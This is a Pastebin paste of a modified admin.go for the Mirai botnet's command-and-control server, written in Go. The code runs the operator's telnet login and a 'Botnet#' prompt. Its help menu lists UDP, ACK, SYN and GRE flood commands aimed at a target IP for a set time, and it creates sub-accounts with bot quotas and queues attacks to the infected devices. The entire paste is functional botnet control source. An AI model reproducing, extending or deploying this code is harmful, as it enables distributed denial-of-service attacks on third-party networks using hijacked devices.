Advertisement
GodlyPacketz

Modified Admin.go for mirai

Oct 10th, 2017
692
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 10.48 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4.     "fmt"
  5.     "net"
  6.     "time"
  7.     "strings"
  8.     "strconv"
  9. )
  10.  
  11. type Admin struct {
  12.     conn    net.Conn
  13. }
  14.  
  15. func NewAdmin(conn net.Conn) *Admin {
  16.     return &Admin{conn}
  17. }
  18.  
  19. func (this *Admin) Handle() {
  20.     this.conn.Write([]byte("\033[?1049h"))
  21.     this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
  22.  
  23.     defer func() {
  24.         this.conn.Write([]byte("\033[?1049l"))
  25.     }()
  26.  
  27.     // Get username
  28.     this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  29.     this.conn.Write([]byte("\033[34;1mUsername:\033[33;3m: \033[0m"))
  30.     username, err := this.ReadLine(false)
  31.     if err != nil {
  32.         return
  33.     }
  34.  
  35.     // Get password
  36.     this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  37.     this.conn.Write([]byte("\033[34;1mPassword\033[33;3m: \033[0m"))
  38.     password, err := this.ReadLine(true)
  39.     if err != nil {
  40.         return
  41.     }
  42.  
  43.     this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  44.     this.conn.Write([]byte("\r\n"))
  45.     spinBuf := []byte{'-', '\\', '|', '/'}
  46.     for i := 0; i < 15; i++ {
  47.         this.conn.Write(append([]byte("\r\033[37;1mChecking Account ...\033[31m"), spinBuf[i % len(spinBuf)]))
  48.         time.Sleep(time.Duration(300) * time.Millisecond)
  49.     }
  50.  
  51.     var loggedIn bool
  52.     var userInfo AccountInfo
  53.     if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
  54.         this.conn.Write([]byte("\r\033[36;1mWrong user/pass, cya later\r\n"))
  55.         this.conn.Write([]byte("\033[31mPress any key to exit. (Any key)\033[0m"))
  56.         buf := make([]byte, 1)
  57.         this.conn.Read(buf)
  58.         return
  59.     }
  60.    
  61.     this.conn.Write([]byte("\033[2J\033[1;1H"))
  62.                                                                      
  63.     this.conn.Write([]byte("\r\033[31;1m*****************************************\r\n"))
  64.     this.conn.Write([]byte("\r\033[31;1m*        WELCOME TO THE BALL PIT        *\r\n"))
  65.     this.conn.Write([]byte("\r\033[31;1m*     Now with \033[36;1mrefrigerator\x1b[31m support     *\r\n"))
  66.     this.conn.Write([]byte("\r\033[31;1m*****************************************\r\n"))
  67.     this.conn.Write([]byte("\r\n"))
  68.  
  69.  
  70.     go func() {
  71.         i := 0
  72.         for {
  73.             var BotCount int
  74.             if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
  75.                 BotCount = userInfo.maxBots
  76.             } else {
  77.                 BotCount = clientList.Count()
  78.             }
  79.  
  80.             time.Sleep(time.Second)
  81.             if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Bots Connected | %s\007", BotCount, username))); err != nil {
  82.                 this.conn.Close()
  83.                 break
  84.             }
  85.             i++
  86.             if i % 60 == 0 {
  87.                 this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  88.             }
  89.         }
  90.     }()
  91.  
  92.     for {
  93.         var botCatagory string
  94.         var botCount int
  95.        
  96.         this.conn.Write([]byte("\033[36;1m" + username + "@Botnet# \033[0m"))
  97.        
  98.         cmd, err := this.ReadLine(false)
  99.         if err != nil || cmd == "exit" || cmd == "quit" {
  100.             return
  101.         }
  102.         if cmd == "clear" || cmd == "cls" {
  103.             this.conn.Write([]byte("\033[2J\033[1;1H"))
  104.     this.conn.Write([]byte("\r\033[31;1m*****************************************\r\n"))
  105.     this.conn.Write([]byte("\r\033[31;1m*        WELCOME TO THE BALL PIT        *\r\n"))
  106.     this.conn.Write([]byte("\r\033[31;1m*     Now with \033[36;1mrefrigerator\x1b[31m support     *\r\n"))
  107.     this.conn.Write([]byte("\r\033[31;1m*****************************************\r\n"))
  108.     this.conn.Write([]byte("\r\n"))
  109.             continue
  110.         }
  111.         if cmd == "HELP" || cmd == "help" {
  112.             this.conn.Write([]byte("\r\033[36;1mAvailable Attack Commands\r\n"))
  113.             this.conn.Write([]byte("\r\033[36;udpplain ip time\r\n"))
  114.             this.conn.Write([]byte("\r\033[36;1mudp ip time\r\n"))
  115.             this.conn.Write([]byte("\r\033[36;1mack ip time\r\n"))
  116.             this.conn.Write([]byte("\r\033[36;1msyn ip time\r\n"))
  117.             this.conn.Write([]byte("\r\033[36;1mgreip ip time\r\n"))
  118.             this.conn.Write([]byte("\r\033[36;1mTo set a destination port simply do this \r\ndport=\r\n"))
  119.             this.conn.Write([]byte("\r\033[36;1mcls || clear  | clears screen\r\n"))
  120.             this.conn.Write([]byte("\r\n"))
  121.  
  122.             continue
  123.         }
  124.         if cmd == "" {
  125.             continue
  126.         }
  127.        
  128.         botCount = userInfo.maxBots
  129.  
  130.         if userInfo.admin == 1 && cmd == "adduser" || cmd == "addAdmin" {
  131.             this.conn.Write([]byte("Enter new username: "))
  132.             new_un, err := this.ReadLine(false)
  133.             if err != nil {
  134.                 return
  135.             }
  136.             this.conn.Write([]byte("Enter new password: "))
  137.             new_pw, err := this.ReadLine(false)
  138.             if err != nil {
  139.                 return
  140.             }
  141.             this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
  142.             max_bots_str, err := this.ReadLine(false)
  143.             if err != nil {
  144.                 return
  145.             }
  146.             max_bots, err := strconv.Atoi(max_bots_str)
  147.             if err != nil {
  148.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count")))
  149.                 continue
  150.             }
  151.             this.conn.Write([]byte("Max attack duration (-1 for none): "))
  152.             duration_str, err := this.ReadLine(false)
  153.             if err != nil {
  154.                 return
  155.             }
  156.             duration, err := strconv.Atoi(duration_str)
  157.             if err != nil {
  158.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
  159.                 continue
  160.             }
  161.             this.conn.Write([]byte("Cooldown time (0 for none): "))
  162.             cooldown_str, err := this.ReadLine(false)
  163.             if err != nil {
  164.                 return
  165.             }
  166.             cooldown, err := strconv.Atoi(cooldown_str)
  167.             if err != nil {
  168.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
  169.                 continue
  170.             }
  171.             this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
  172.             confirm, err := this.ReadLine(false)
  173.             if err != nil {
  174.                 return
  175.             }
  176.             if confirm != "y" {
  177.                 continue
  178.             }
  179.             if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
  180.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
  181.             } else {
  182.                 this.conn.Write([]byte("\033[36;1mUser added successfully.\033[0m\r\n"))
  183.             }
  184.             continue
  185.         }
  186.         if userInfo.admin == 1 && cmd == "botcount" || cmd == "bots" || cmd == "count" {
  187.             m := clientList.Distribution()
  188.             for k, v := range m {
  189.                 this.conn.Write([]byte(fmt.Sprintf("\033[36;1m%s:\t%d\033[0m\r\n", k, v) ))
  190.             }
  191.             continue
  192.         }
  193.         if cmd[0] == '-' {
  194.             countSplit := strings.SplitN(cmd, " ", 2)
  195.             count := countSplit[0][1:]
  196.             botCount, err = strconv.Atoi(count)
  197.             if err != nil {
  198.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
  199.                 continue
  200.             }
  201.             if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
  202.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
  203.                 continue
  204.             }
  205.             cmd = countSplit[1]
  206.         }
  207.         if userInfo.admin == 1 && cmd[0] == '@' {
  208.             cataSplit := strings.SplitN(cmd, " ", 2)
  209.             botCatagory = cataSplit[0][1:]
  210.             cmd = cataSplit[1]
  211.         }
  212.  
  213.         atk, err := NewAttack(cmd, userInfo.admin)
  214.         if err != nil {
  215.             this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  216.         } else {
  217.             buf, err := atk.Build()
  218.             if err != nil {
  219.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  220.             } else {
  221.                 if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
  222.                     this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  223.                 } else if !database.ContainsWhitelistedTargets(atk) {
  224.                     clientList.QueueBuf(buf, botCount, botCatagory)
  225.                 } else {
  226.                     fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
  227.                 }
  228.             }
  229.         }
  230.     }
  231. }
  232.  
  233. func (this *Admin) ReadLine(masked bool) (string, error) {
  234.     buf := make([]byte, 1024)
  235.     bufPos := 0
  236.  
  237.     for {
  238.         n, err := this.conn.Read(buf[bufPos:bufPos+1])
  239.         if err != nil || n != 1 {
  240.             return "", err
  241.         }
  242.         if buf[bufPos] == '\xFF' {
  243.             n, err := this.conn.Read(buf[bufPos:bufPos+2])
  244.             if err != nil || n != 2 {
  245.                 return "", err
  246.             }
  247.             bufPos--
  248.         } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
  249.             if bufPos > 0 {
  250.                 this.conn.Write([]byte(string(buf[bufPos])))
  251.                 bufPos--
  252.             }
  253.             bufPos--
  254.         } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
  255.             bufPos--
  256.         } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
  257.             this.conn.Write([]byte("\r\n"))
  258.             return string(buf[:bufPos]), nil
  259.         } else if buf[bufPos] == 0x03 {
  260.             this.conn.Write([]byte("^C\r\n"))
  261.             return "", nil
  262.         } else {
  263.             if buf[bufPos] == '\x1B' {
  264.                 buf[bufPos] = '^';
  265.                 this.conn.Write([]byte(string(buf[bufPos])))
  266.                 bufPos++;
  267.                 buf[bufPos] = '[';
  268.                 this.conn.Write([]byte(string(buf[bufPos])))
  269.             } else if masked {
  270.                 this.conn.Write([]byte("*"))
  271.             } else {
  272.                 this.conn.Write([]byte(string(buf[bufPos])))
  273.             }
  274.         }
  275.         bufPos++
  276.     }
  277.     return string(buf), nil
  278. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement